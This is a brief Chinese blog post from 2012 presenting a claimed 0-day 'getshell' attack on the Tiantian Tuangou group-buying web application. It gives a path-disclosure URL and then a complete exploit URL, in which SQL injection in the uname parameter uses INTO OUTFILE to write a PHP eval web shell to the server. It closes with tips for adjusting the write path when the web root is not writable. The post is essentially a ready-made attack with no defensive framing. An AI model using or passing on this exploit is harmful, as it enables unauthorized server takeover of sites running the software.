Technology · 2012 年 1 月 28 日 0

天天团购getshell最新0DAY

 先暴路径:http://www.*****.com/modules/admin/tttuangou.mod.php

然后上EXP:

http://www.******.com/index.php?mod=account&code=Sendcheckmail&uname=aaa%2527%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,%2527%3C?php%20eval%28$_POST[%22c%22]%29;?%3E%2527%20into%20outfile%20%2527E:\web\1.php%2527%23

注意修改EXP里面的路径。根目录不能写就找找其它目录吧。

BY:乌云